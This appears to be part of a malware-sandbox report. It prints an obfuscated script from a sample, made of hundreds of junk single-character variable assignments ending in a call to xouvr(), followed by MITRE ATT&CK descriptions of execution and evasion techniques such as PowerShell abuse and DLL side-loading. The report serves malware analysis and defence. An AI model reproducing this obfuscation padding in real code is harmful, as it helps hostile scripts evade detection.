297	xingwdx = "q";
298	xingwdx = "U";
299	oucnmgrf = "s";
300	oucnmgrf = "N";
301	oucnmgrf = "B";
302	oucnmgrf = "a";
303	oucnmgrf = "l";
304	oucnmgrf = "D";
305	oucnmgrf = "Z";
306	oucnmgrf = "S";
307	oucnmgrf = "O";
308	oucnmgrf = "u";
309	oucnmgrf = "p";
310	oucnmgrf = "U";
311	oucnmgrf = "Z";
312	oucnmgrf = "O";
313	oucnmgrf = "h";
314	oucnmgrf = "P";
315	oucnmgrf = "s";
316	gflclzc = "U";
317	gflclzc = "W";
318	gflclzc = "M";
319	gflclzc = "D";
320	gflclzc = "l";
321	gflclzc = "I";
322	gflclzc = "w";
323	gflclzc = "B";
324	gflclzc = "Z";
325	gflclzc = "H";
326	gflclzc = "C";
327	gflclzc = "O";
328	gflclzc = "y";
329	gflclzc = "i";
330	gflclzc = "F";
331	gflclzc = "v";
332	gflclzc = "S";
333	gflclzc = "s";
334	gflclzc = "U";
335	gflclzc = "E";
336	gflclzc = "r";
337	gflclzc = "B";
338	gflclzc = "v";
339	gflclzc = "j";
340	gflclzc = "5";
341	icocg = "L";
342	icocg = "o";
343	icocg = "X";
344	icocg = "Q";
345	icocg = "r";
346	icocg = "y";
347	icocg = "b";
348	icocg = "H";
349	icocg = "F";
350	icocg = "B";
351	icocg = "H";
352	icocg = "U";
353	icocg = "I";
354	icocg = "6";
355	yrjjesn = "p";
356	yrjjesn = "b";
357	yrjjesn = "U";
358	yrjjesn = "V";
359	yrjjesn = "C";
360	yrjjesn = "X";
361	yrjjesn = "L";
362	yrjjesn = "a";
363	yrjjesn = "R";
364	yrjjesn = "J";
365	yrjjesn = "I";
366	yrjjesn = "K";
367	yrjjesn = "S";
368	yrjjesn = "j";
369	yrjjesn = "S";
370	iyvaqhnkb = "S";
371	iyvaqhnkb = "N";
372	iyvaqhnkb = "n";
373	iyvaqhnkb = "m";
374	iyvaqhnkb = "C";
375	iyvaqhnkb = "p";
376	iyvaqhnkb = "t";
377	iyvaqhnkb = "q";
378	iyvaqhnkb = "Q";
379	iyvaqhnkb = "O";
380	iyvaqhnkb = "g";
381	iyvaqhnkb = "y";
382	iyvaqhnkb = "a";
383	iyvaqhnkb = "P";
384	iyvaqhnkb = "v";
385	iyvaqhnkb = "h";
386	iyvaqhnkb = "h";
387	iyvaqhnkb = "j";
388	iyvaqhnkb = "w";
389	iyvaqhnkb = "c";
390	iyvaqhnkb = "R";
391	iyvaqhnkb = "J";
392	iyvaqhnkb = "j";
393	iyvaqhnkb = "k";
394	iyvaqhnkb = "r";
395	iyvaqhnkb = "S";
396	iyvaqhnkb = "l";
397	iyvaqhnkb = "T";
398	iyvaqhnkb = "J";
399	iyvaqhnkb = "x";
400	iyvaqhnkb = "e";
401	iyvaqhnkb = "h";
402	iyvaqhnkb = "u";
403	iyvaqhnkb = "K";
404	iyvaqhnkb = "c";
405	iyvaqhnkb = "E";
406	iyvaqhnkb = "V";
407	iyvaqhnkb = "Z";
408	iyvaqhnkb = "H";
409	iyvaqhnkb = "e";
410	iyvaqhnkb = "b";
411	iyvaqhnkb = "F";
412	ppnqxda = "u";
413	ppnqxda = "U";
414	ppnqxda = "r";
415	ppnqxda = "I";
416	ppnqxda = "Q";
417	ppnqxda = "y";
418	ppnqxda = "R";
419	ppnqxda = "P";
420	ppnqxda = "E";
421	ppnqxda = "J";
422	ppnqxda = "K";
423	ppnqxda = "f";
424	ppnqxda = "l";
425	ppnqxda = "A";
426	ppnqxda = "l";
427	ppnqxda = "E";
428	ppnqxda = "q";
429	ppnqxda = "l";
430	ppnqxda = "V";
431	ppnqxda = "u";
432	ppnqxda = "Z";
433	ppnqxda = "d";
434	ppnqxda = "M";
435	ppnqxda = "k";
436	ppnqxda = "r";
437	ppnqxda = "d";
438	ppnqxda = "U";
439	ppnqxda = "I";
440	ppnqxda = "B";
441	ppnqxda = "Q";
442	ppnqxda = "J";
443	ppnqxda = "C";
444	ppnqxda = "J";
445	ppnqxda = "w";
446	ppnqxda = "F";
447	ppnqxda = "z";
448	ppnqxda = "x";
449	ppnqxda = "j";
450	ppnqxda = "p";
451	ppnqxda = "Z";
452	ppnqxda = "&";
453	fwypms = "y";
454	fwypms = "X";
455	fwypms = "b";
456	fwypms = "l";
457	fwypms = "g";
458	fwypms = "g";
459	fwypms = "8";
460	qpihfvqr = "s";
461	qpihfvqr = "O";
462	qpihfvqr = "w";
463	qpihfvqr = "M";
464	qpihfvqr = "m";
465	qpihfvqr = "\\";
466	iksornoyj = "W";
467	iksornoyj = "J";
468	iksornoyj = "s";
469	iksornoyj = "h";
470	iksornoyj = "k";
471	iksornoyj = "u";
472	iksornoyj = "J";
473	iksornoyj = "c";
474	iksornoyj = "g";
475	iksornoyj = "z";
476	iksornoyj = "M";
477	iksornoyj = "h";
478	iksornoyj = "K";
479	iksornoyj = "m";
480	iksornoyj = "O";
481	iksornoyj = "U";
482	iksornoyj = "Q";
483	iksornoyj = "x";
484	iksornoyj = "Q";
485	iksornoyj = "f";
486	iksornoyj = "J";
487	iksornoyj = "v";
488	iksornoyj = "l";
489	iksornoyj = "o";
490	iksornoyj = "M";
491	iksornoyj = "v";
492	iksornoyj = "B";
493	iksornoyj = "L";
494	iksornoyj = "F";
495	iksornoyj = "Z";
496	iksornoyj = "v";
497	iksornoyj = "L";
498	iksornoyj = "3";
499	bbgroctzb = "f";
500	bbgroctzb = "w";
501	bbgroctzb = "L";
502	bbgroctzb = "k";
503	bbgroctzb = "b";
504	bbgroctzb = "z";
505	bbgroctzb = "V";
506	bbgroctzb = "Z";
507	bbgroctzb = "a";
508	bbgroctzb = "z";
509	bbgroctzb = "n";
510	bbgroctzb = "z";
511	bbgroctzb = "o";
512	bbgroctzb = "a";
513	bbgroctzb = "g";
514	bbgroctzb = "J";
515	bbgroctzb = "A";
516	bbgroctzb = "y";
517	bbgroctzb = "b";
518	bbgroctzb = "A";
519	bbgroctzb = "P";
520	bbgroctzb = "A";
521	bbgroctzb = "e";
522	bbgroctzb = "K";
523	bbgroctzb = "m";
524	bbgroctzb = "G";
525	bbgroctzb = "V";
526	bbgroctzb = "y";
527	bbgroctzb = "x";
528	bbgroctzb = "j";
529	bbgroctzb = "a";
530	bbgroctzb = "Q";
531	cslznm = "q";
532	cslznm = "L";
533	cslznm = "w";
534	cslznm = "H";
535	cslznm = "N";
536	cslznm = "V";
537	cslznm = "q";
538	cslznm = "f";
539	cslznm = "x";
540	cslznm = "q";
541	cslznm = "J";
542	cslznm = "P";
543	cslznm = "u";
544	cslznm = "A";
545	cslznm = "u";
546	cslznm = "D";
547	cslznm = "o";
548	cslznm = "g";
549	cslznm = "Y";
550	cslznm = "y";
551	cslznm = "q";
552	cslznm = "n";
553	cslznm = "H";
554	cslznm = "v";
555	cslznm = "m";
556	ipafmyaj = "Y";
557	ipafmyaj = "X";
558	ipafmyaj = "G";
559	ipafmyaj = "F";
560	ipafmyaj = "z";
561	ipafmyaj = "s";
562	ipafmyaj = "A";
563	ipafmyaj = ":";
564	mjbctorfc = "C";
565	wlywom = "u";
566	wlywom = "4";
567	jkdtpdw = "m";
568	jkdtpdw = "A";
569	jkdtpdw = "c";
570	moupbn = "f";
571	moupbn = "v";
572	moupbn = "V";
573	moupbn = "a";
574	moupbn = "I";
575	moupbn = "L";
576	moupbn = "f";
577	moupbn = "S";
578	moupbn = "q";
579	moupbn = "B";
580	moupbn = "A";
581	moupbn = "r";
582	moupbn = "Z";
583	moupbn = "y";
584	moupbn = "u";
585	moupbn = "o";
586	moupbn = "M";
587	moupbn = "Y";
588	moupbn = "b";
589	moupbn = "r";
590	moupbn = "G";
591	moupbn = "W";
592	moupbn = "g";
593	moupbn = "N";
594	moupbn = "G";
595	moupbn = "t";
596	moupbn = "E";
597	epznxuq = "a";
598	epznxuq = "f";
599	epznxuq = "V";
600	epznxuq = "K";
601	epznxuq = "v";
602	epznxuq = "l";
603	epznxuq = "P";
604	epznxuq = "w";
605	epznxuq = "g";
606	epznxuq = "m";
607	epznxuq = "d";
608	epznxuq = "_";
609	lxkhagvk = "A";
610	lxkhagvk = "f";
611	lxkhagvk = "b";
612	lxkhagvk = "M";
613	lxkhagvk = "e";
614	lxkhagvk = "e";
615	lxkhagvk = "B";
616	lxkhagvk = "v";
617	lxkhagvk = "u";
618	lxkhagvk = "m";
619	lxkhagvk = "Y";
620	lxkhagvk = "o";
621	lxkhagvk = "q";
622	lxkhagvk = "O";
623	lxkhagvk = "m";
624	lxkhagvk = "m";
625	lxkhagvk = "i";
626	lxkhagvk = "G";
627	lxkhagvk = "D";
628	lxkhagvk = "C";
629	lxkhagvk = "i";
630	lxkhagvk = "u";
631	lxkhagvk = "b";
632	kqdvb = "e";
633	kqdvb = "x";
634	elhpe = "X";
635	elhpe = "z";
636	elhpe = "R";
637	elhpe = "I";
638	elhpe = "H";
639	elhpe = "T";
640	elhpe = "c";
641	elhpe = "d";
642	elhpe = "J";
643	elhpe = "L";
644	elhpe = "h";
645	elhpe = "k";
646	elhpe = "r";
647	elhpe = "p";
648	elhpe = "V";
649	elhpe = "N";
650	elhpe = "H";
651	elhpe = "Z";
652	elhpe = "S";
653	elhpe = "j";
654	elhpe = "B";
655	elhpe = "A";
656	elhpe = "C";
657	elhpe = "L";
658	elhpe = "C";
659	elhpe = "V";
660	elhpe = "k";
661	elhpe = "n";
662	elhpe = "b";
663	elhpe = "U";
664	elhpe = "H";
665	elhpe = "b";
666	elhpe = "r";
667	yjwwl = "A";
668	yjwwl = "X";
669	yjwwl = "z";
670	yjwwl = "G";
671	yjwwl = "S";
672	yjwwl = "E";
673	yjwwl = "b";
674	yjwwl = "r";
675	yjwwl = "d";
676	yjwwl = "A";
677	yjwwl = "E";
678	yjwwl = "c";
679	yjwwl = "y";
680	yjwwl = "q";
681	yjwwl = "Y";
682	yjwwl = "l";
683	yjwwl = "D";
684	yjwwl = "t";
685	yjwwl = "J";
686	yjwwl = "h";
687	yjwwl = "d";
688	yjwwl = "l";
689	yjwwl = "N";
690	yjwwl = "X";
691	yjwwl = "z";
692	yjwwl = "S";
693	yjwwl = "T";
694	yjwwl = "J";
695	yjwwl = "o";
696	yjwwl = "d";
697	yjwwl = "r";
698	yjwwl = "a";
699	gwxobquo = "o";
700	gwxobquo = "H";
701	gwxobquo = "T";
702	gwxobquo = "I";
703	gwxobquo = "k";
704	gwxobquo = "9";
705	trgsd = "J";
706	trgsd = "z";
707	trgsd = "g";
708	trgsd = "T";
709	trgsd = "n";
710	trgsd = "R";
711	trgsd = "K";
712	trgsd = "L";
713	trgsd = "I";
714	trgsd = "g";
715	trgsd = "f";
716	trgsd = "A";
717	trgsd = "Y";
718	trgsd = "f";
719	trgsd = "y";
720	trgsd = "b";
721	trgsd = "B";
722	trgsd = "W";
723	trgsd = "s";
724	trgsd = "F";
725	trgsd = "a";
726	trgsd = "p";
727	trgsd = "z";
728	trgsd = "V";
729	trgsd = "U";
730	trgsd = "w";
731	trgsd = "U";
732	trgsd = "O";
733	trgsd = "m";
734	trgsd = "H";
735	dveydlzc = "d";
736	dveydlzc = "m";
737	dveydlzc = "I";
738	dveydlzc = "o";
739	dveydlzc = "I";
740	dveydlzc = "u";
741	dveydlzc = "B";
742	dveydlzc = "T";
743	dveydlzc = "z";
744	dveydlzc = "s";
745	dveydlzc = "d";
746	dveydlzc = "n";
747	dveydlzc = "t";
748	ycnrv = "g";
749	ycnrv = "K";
750	ycnrv = "J";
751	ycnrv = "s";
752	ycnrv = "o";
753	ycnrv = "w";
754	ycnrv = "A";
755	ycnrv = "I";
756	ycnrv = "c";
757	ycnrv = "D";
758	ycnrv = "x";
759	ycnrv = "R";
760	ycnrv = "i";
761	ycnrv = "x";
762	ycnrv = "m";
763	ycnrv = "o";
764	ycnrv = "I";
765	ycnrv = "w";
766	ycnrv = "h";
767	ycnrv = "B";
768	ycnrv = "U";
769	ycnrv = "w";
770	ycnrv = "A";
771	ycnrv = "l";
772	ycnrv = "u";
773	hlklmoqyx = "y";
774	hlklmoqyx = "T";
775	hlklmoqyx = "A";
776	hlklmoqyx = "u";
777	hlklmoqyx = "v";
778	hlklmoqyx = "N";
779	hlklmoqyx = "W";
780	hlklmoqyx = "B";
781	hlklmoqyx = "q";
782	nhffql = "f";
783	nhffql = "s";
784	nhffql = "F";
785	nhffql = "B";
786	nhffql = "i";
787	nhffql = "g";
788	nhffql = "S";
789	nhffql = "a";
790	nhffql = "r";
791	nhffql = "b";
792	nhffql = "X";
793	nhffql = "I";
794	nhffql = "r";
795	nhffql = "r";
796	nhffql = "P";
797	nhffql = "U";
798	nhffql = "w";
799	xjzbfl = "q";
800	xjzbfl = "A";
801	xjzbfl = "y";
802	xjzbfl = "P";
803	xjzbfl = "i";
804	xjzbfl = "G";
805	xjzbfl = "g";
806	xjzbfl = "e";
807	xjzbfl = "X";
808	xjzbfl = "n";
809	xjzbfl = "X";
810	xjzbfl = "R";
811	xjzbfl = "a";
812	xjzbfl = "t";
813	xjzbfl = "U";
814	xjzbfl = "B";
815	xjzbfl = "T";
816	xjzbfl = "w";
817	xjzbfl = "q";
818	xjzbfl = "A";
819	xjzbfl = "x";
820	xjzbfl = "Y";
821	xjzbfl = "Q";
822	xjzbfl = "j";
823	xjzbfl = "i";
824	xjzbfl = "H";
825	xjzbfl = "p";
826	xjzbfl = "L";
827	xjzbfl = "I";
828	xjzbfl = "I";
829	xjzbfl = "p";
830	xjzbfl = "x";
831	xjzbfl = "x";
832	xjzbfl = "u";
833	xjzbfl = "b";
834	xjzbfl = "k";
835	xjzbfl = "W";
836	xjzbfl = "V";
837	xjzbfl = "f";
838	xjzbfl = "a";
839	xjzbfl = "s";
840	xjzbfl = "0";
841	lmetnzju = "V";
842	lmetnzju = "f";
843	lmetnzju = "Y";
844	lmetnzju = "K";
845	lmetnzju = "X";
846	lmetnzju = "p";
847	lmetnzju = "E";
848	lmetnzju = "W";
849	lmetnzju = "O";
850	lmetnzju = "H";
851	lmetnzju = "O";
852	lmetnzju = "A";
853	lmetnzju = "i";
854	lmetnzju = "d";
855	lmetnzju = "X";
856	lmetnzju = "w";
857	lmetnzju = "R";
858	lmetnzju = "U";
859	lmetnzju = "G";
860	lmetnzju = "u";
861	lmetnzju = "N";
862	lmetnzju = "S";
863	lmetnzju = " ";
864	iivcwlnc = "z";
865	iivcwlnc = "H";
866	iivcwlnc = "y";
867	iivcwlnc = "T";
868	iivcwlnc = "Q";
869	iivcwlnc = "Q";
870	iivcwlnc = "y";
871	iivcwlnc = "y";
872	iivcwlnc = "N";
873	iivcwlnc = "S";
874	iivcwlnc = "p";
875	iivcwlnc = "L";
876	iivcwlnc = "W";
877	iivcwlnc = "X";
878	iivcwlnc = "a";
879	iivcwlnc = "G";
880	iivcwlnc = "h";
881	iivcwlnc = "p";
882	iivcwlnc = "e";
883	iivcwlnc = "F";
884	iivcwlnc = "k";
885	iivcwlnc = "B";
886	iivcwlnc = "e";
887	iivcwlnc = "s";
888	iivcwlnc = "J";
889	iivcwlnc = "l";
890	iivcwlnc = "H";
891	iivcwlnc = "H";
892	iivcwlnc = "X";
893	iivcwlnc = "X";
894	iivcwlnc = "%";
895	udxomtxdg = "E";
896	udxomtxdg = "l";
897	udxomtxdg = "w";
898	udxomtxdg = "F";
899	udxomtxdg = "k";
900	udxomtxdg = "P";
901	udxomtxdg = "H";
902	udxomtxdg = "X";
903	udxomtxdg = "l";
904	udxomtxdg = "C";
905	udxomtxdg = "M";
906	udxomtxdg = "Y";
907	udxomtxdg = "i";
908	udxomtxdg = "I";
909	udxomtxdg = "t";
910	udxomtxdg = "D";
911	udxomtxdg = "k";
912	udxomtxdg = "a";
913	udxomtxdg = "g";
914	udxomtxdg = "q";
915	udxomtxdg = "j";
916	udxomtxdg = "K";
917	udxomtxdg = "Z";
918	udxomtxdg = "E";
919	udxomtxdg = "W";
920	udxomtxdg = "S";
921	udxomtxdg = "V";
922	udxomtxdg = "A";
923	udxomtxdg = "f";
924	udxomtxdg = "N";
925	udxomtxdg = "u";
926	udxomtxdg = "K";
927	udxomtxdg = "1";
928	ffnbf = "Q";
929	ffnbf = "D";
930	ffnbf = "u";
931	ffnbf = "e";
932	ffnbf = "q";
933	ffnbf = "P";
934	ffnbf = "F";
935	ffnbf = "m";
936	ffnbf = "Z";
937	ffnbf = "B";
938	ffnbf = "b";
939	ffnbf = "s";
940	ffnbf = "E";
941	ffnbf = "s";
942	ffnbf = "j";
943	ffnbf = "q";
944	ffnbf = "C";
945	ffnbf = "a";
946	ffnbf = "o";
947	ffnbf = "t";
948	ffnbf = "p";
949	dgrmj = "s";
950	dgrmj = "l";
951	dgrmj = "I";
952	dgrmj = "m";
953	dgrmj = "z";
954	dgrmj = "O";
955	dgrmj = "P";
956	dgrmj = "R";
957	dgrmj = "a";
958	dgrmj = "w";
959	dgrmj = "E";
960	dgrmj = "J";
961	dgrmj = "s";
962	dgrmj = "n";
963	dgrmj = "v";
964	dgrmj = "F";
965	dgrmj = "w";
966	dgrmj = "c";
967	dgrmj = "J";
968	dgrmj = "m";
969	dgrmj = "q";
970	dgrmj = "Z";
971	dgrmj = "Q";
972	dgrmj = "V";
973	dgrmj = "D";
974	dgrmj = "Z";
975	dgrmj = "t";
976	dgrmj = "k";
977	dgrmj = "S";
978	dgrmj = "T";
979	dgrmj = "C";
980	dgrmj = "r";
981	dgrmj = "w";
982	dgrmj = "h";
983	dgrmj = "W";
984	kowwo = "k";
985	kowwo = "w";
986	kowwo = "C";
987	kowwo = "R";
988	kowwo = "P";
989	kowwo = "N";
990	kowwo = "X";
991	kowwo = "p";
992	kowwo = "S";
993	kowwo = "A";
994	kowwo = "d";
995	kowwo = "k";
996	kowwo = "N";
997	kowwo = "h";
998	kowwo = "b";
999	kowwo = "R";
1000	kowwo = "v";
1001	kowwo = "X";
1002	kowwo = "P";
1003	kowwo = "w";
1004	kowwo = "v";
1005	kowwo = "V";
1006	kowwo = "s";
1007	kowwo = "N";
1008	kowwo = "d";
1009	kowwo = "E";
1010	kowwo = "I";
1011	kowwo = "F";
1012	kowwo = "t";
1013	kowwo = "D";
1014	kowwo = "F";
1015	kowwo = "B";
1016	kowwo = "/";
1017	lujwcxn = "E";
1018	lujwcxn = "y";
1019	lujwcxn = "m";
1020	lujwcxn = "n";
1021	lujwcxn = "p";
1022	lujwcxn = "U";
1023	lujwcxn = "D";
1024	lujwcxn = "G";
1025	lujwcxn = "S";
1026	lujwcxn = "L";
1027	lujwcxn = "I";
1028	lujwcxn = "x";
1029	lujwcxn = "H";
1030	lujwcxn = "r";
1031	lujwcxn = "k";
1032	lujwcxn = "c";
1033	lujwcxn = "j";
1034	lujwcxn = "u";
1035	lujwcxn = "S";
1036	lujwcxn = "M";
1037	lujwcxn = "U";
1038	lujwcxn = "K";
1039	lujwcxn = "h";
1040	hkjqa = "K";
1041	hkjqa = "O";
1042	hkjqa = "M";
1043	hkjqa = "n";
1044	hkjqa = "z";
1045	hkjqa = "T";
1046	hkjqa = "Z";
1047	hkjqa = "W";
1048	hkjqa = "V";
1049	hkjqa = "t";
1050	hkjqa = "k";
1051	xvzhzq = "k";
1052	xvzhzq = "J";
1053	xvzhzq = "d";
1054	xvzhzq = "m";
1055	xvzhzq = "d";
1056	xvzhzq = "U";
1057	xvzhzq = "p";
1058	xvzhzq = "S";
1059	xvzhzq = "x";
1060	xvzhzq = "I";
1061	xvzhzq = "E";
1062	xvzhzq = "c";
1063	xvzhzq = "t";
1064	xvzhzq = "j";
1065	xvzhzq = "V";
1066	xvzhzq = "o";
1067	xvzhzq = "B";
1068	xvzhzq = "G";
1069	xvzhzq = "m";
1070	xvzhzq = "k";
1071	xvzhzq = "q";
1072	xvzhzq = "Y";
1073	xvzhzq = "n";
1074	xvzhzq = "W";
1075	xvzhzq = "m";
1076	xvzhzq = "f";
1077	xvzhzq = "K";
1078	xvzhzq = "i";
1079	xvzhzq = "A";
1080	xvzhzq = "B";
1081	xvzhzq = "k";
1082	xvzhzq = "K";
1083	xvzhzq = "B";
1084	xvzhzq = "d";
1085	xvzhzq = "Y";
1086	xvzhzq = "G";
1087	xvzhzq = "C";
1088	xvzhzq = "a";
1089	xvzhzq = "H";
1090	xvzhzq = "R";
1091	xvzhzq = "Z";
1092	xvzhzq = "k";
1093	xvzhzq = "o";
1094	xvzhzq = "e";
1095	xvzhzq = "-";
1096	azfjgj = "q";
1097	azfjgj = "N";
1098	azfjgj = "F";
1099	azfjgj = "N";
1100	azfjgj = "i";
1101	azfjgj = "d";
1102	azfjgj = "e";
1103	azfjgj = "L";
1104	azfjgj = "z";
1105	azfjgj = "J";
1106	azfjgj = "P";
1107	azfjgj = "O";
1108	azfjgj = "p";
1109	azfjgj = "F";
1110	azfjgj = "E";
1111	azfjgj = "E";
1112	azfjgj = "T";
1113	azfjgj = "J";
1114	azfjgj = "b";
1115	azfjgj = "s";
1116	azfjgj = "o";
1117	azfjgj = "d";
1118	azfjgj = "y";
1119	azfjgj = "U";
1120	azfjgj = "E";
1121	azfjgj = "C";
1122	azfjgj = "T";
1123	azfjgj = "g";
1124	azfjgj = "X";
1125	azfjgj = "q";
1126	azfjgj = "O";
1127	azfjgj = "N";
1128	metzjwtzl = "c";
1129	metzjwtzl = "j";
1130	metzjwtzl = "p";
1131	metzjwtzl = "a";
1132	metzjwtzl = "@";
1133	hdckrtim = "B";
1134	hdckrtim = "g";
1135	hdckrtim = "I";
1136	fpajlu = "G";
1137	fpajlu = "t";
1138	fpajlu = "U";
1139	fpajlu = "w";
1140	fpajlu = "I";
1141	fpajlu = "7";
1142	nuxyl = "d";
1143	nuxyl = "g";
1144	nuxyl = "j";
1145	nuxyl = "R";
1146	nuxyl = "r";
1147	nuxyl = "G";
1148	nuxyl = "R";
1149	nuxyl = "I";
1150	nuxyl = "J";
1151	nuxyl = "M";
1152	nuxyl = "t";
1153	nuxyl = "N";
1154	nuxyl = "p";
1155	nuxyl = "u";
1156	nuxyl = "n";
1157	nuxyl = "P";
1158	nuxyl = "U";
1159	nuxyl = "I";
1160	nuxyl = "g";
1161	nuxyl = "H";
1162	nuxyl = "d";
1163	nuxyl = "K";
1164	uofebkoo = "U";
1165	uofebkoo = "b";
1166	uofebkoo = "h";
1167	uofebkoo = "Q";
1168	uofebkoo = "A";
1169	uofebkoo = "x";
1170	uofebkoo = "m";
1171	uofebkoo = "F";
1172	uofebkoo = "T";
1173	uofebkoo = "A";
1174	uofebkoo = "C";
1175	uofebkoo = "Z";
1176	uofebkoo = "J";
1177	uofebkoo = "i";
1178	uofebkoo = "c";
1179	uofebkoo = "s";
1180	uofebkoo = "L";
1181	uofebkoo = "z";
1182	uofebkoo = "h";
1183	uofebkoo = "s";
1184	uofebkoo = "j";
1185	uofebkoo = "c";
1186	uofebkoo = "i";
1187	tjvpgt = "c";
1188	tjvpgt = "k";
1189	tjvpgt = "z";
1190	tjvpgt = "o";
1191	tjvpgt = "A";
1192	tjvpgt = "U";
1193	tjvpgt = "I";
1194	tjvpgt = "S";
1195	tjvpgt = "f";
1196	tjvpgt = "M";
1197	tjvpgt = "k";
1198	tjvpgt = "e";
1199	tjvpgt = "b";
1200	tjvpgt = "L";
1201	tjvpgt = "B";
1202	tjvpgt = "R";
1203	tjvpgt = "T";
1204	tjvpgt = "r";
1205	tjvpgt = "d";
1206	tjvpgt = "v";
1207	tjvpgt = "R";
1208	bgnxevd = "k";
1209	bgnxevd = "G";
1210	bgnxevd = "J";
1211	bgnxevd = "I";
1212	bgnxevd = "Z";
1213	bgnxevd = "z";
1214	bgnxevd = "E";
1215	bgnxevd = "I";
1216	bgnxevd = "x";
1217	bgnxevd = "r";
1218	bgnxevd = "x";
1219	bgnxevd = "v";
1220	bgnxevd = "i";
1221	bgnxevd = "R";
1222	bgnxevd = "L";
1223	wpgieifx = "j";
1224	wpgieifx = "q";
1225	wpgieifx = "E";
1226	wpgieifx = "F";
1227	wpgieifx = "Y";
1228	wpgieifx = "Q";
1229	wpgieifx = "E";
1230	wpgieifx = "y";
1231	wpgieifx = "Q";
1232	wpgieifx = "w";
1233	wpgieifx = "k";
1234	wpgieifx = "z";
1235	wpgieifx = "y";
1236	wpgieifx = "X";
1237	wpgieifx = "h";
1238	wpgieifx = "F";
1239	wpgieifx = "R";
1240	wpgieifx = "A";
1241	wpgieifx = "h";
1242	wpgieifx = "p";
1243	wpgieifx = "N";
1244	wpgieifx = "f";
1245	wpgieifx = "y";
1246	wpgieifx = "J";
1247	wpgieifx = "d";
1248	ygsmk = "X";
1249	ygsmk = "D";
1250	ygsmk = "b";
1251	ygsmk = "R";
1252	ygsmk = "W";
1253	ygsmk = "i";
1254	ygsmk = "S";
1255	ygsmk = "k";
1256	ygsmk = "D";
1257	ygsmk = "Y";
1258	ygsmk = "v";
1259	ygsmk = "s";
1260	ygsmk = "m";
1261	ygsmk = "u";
1262	ygsmk = "S";
1263	ygsmk = "p";
1264	ygsmk = "s";
1265	ygsmk = "a";
1266	ygsmk = "q";
1267	ygsmk = "R";
1268	ygsmk = "E";
1269	ygsmk = "W";
1270	ygsmk = "X";
1271	ygsmk = "V";
1272	ygsmk = "P";
1273	ygsmk = "B";
1274	ygsmk = "X";
1275	ygsmk = "J";
1276	ygsmk = "s";
1277	ygsmk = "j";
1278	ygsmk = "S";
1279	ygsmk = "k";
1280	ygsmk = "z";
1281	ygsmk = "u";
1282	ygsmk = "A";
1283	ygsmk = "k";
1284	ygsmk = "F";
1285	ygsmk = "n";
1286	drpksdshu = "i";
1287	drpksdshu = "g";
1288	drpksdshu = "s";
1289	drpksdshu = "k";
1290	drpksdshu = "G";
1291	drpksdshu = "I";
1292	drpksdshu = "M";
1293	drpksdshu = "q";
1294	drpksdshu = "I";
1295	drpksdshu = "U";
1296	drpksdshu = "c";
1297	drpksdshu = "Y";
1298	fqjsgnyp = "K";
1299	fqjsgnyp = "N";
1300	fqjsgnyp = "o";
1301	fqjsgnyp = "O";
1302	fqjsgnyp = "r";
1303	fqjsgnyp = "Y";
1304	fqjsgnyp = "K";
1305	fqjsgnyp = "i";
1306	fqjsgnyp = "q";
1307	fqjsgnyp = "u";
1308	fqjsgnyp = "z";
1309	fqjsgnyp = "a";
1310	fqjsgnyp = "D";
1311	fqjsgnyp = "o";
1312	fqjsgnyp = "S";
1313	fqjsgnyp = "V";
1314	fqjsgnyp = "q";
1315	fqjsgnyp = "g";
1316	fqjsgnyp = "D";
1317	fqjsgnyp = "c";
1318	fqjsgnyp = "q";
1319	fqjsgnyp = "M";
1320	fqjsgnyp = "I";
1321	fqjsgnyp = "s";
1322	fqjsgnyp = "Q";
1323	fqjsgnyp = "Z";
1324	fqjsgnyp = "k";
1325	fqjsgnyp = "p";
1326	fqjsgnyp = "k";
1327	fqjsgnyp = "H";
1328	fqjsgnyp = "o";
1329	fqjsgnyp = "p";
1330	fqjsgnyp = "F";
1331	fqjsgnyp = "b";
1332	fqjsgnyp = "R";
1333	fqjsgnyp = "s";
1334	fqjsgnyp = "S";
1335	fqjsgnyp = "R";
1336	fqjsgnyp = "l";
1337	fqjsgnyp = "e";
1338	fqjsgnyp = "W";
1339	fqjsgnyp = "T";
1340	fqjsgnyp = "c";
1341	fqjsgnyp = "T";
1342	xouvr ( );	xouvr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
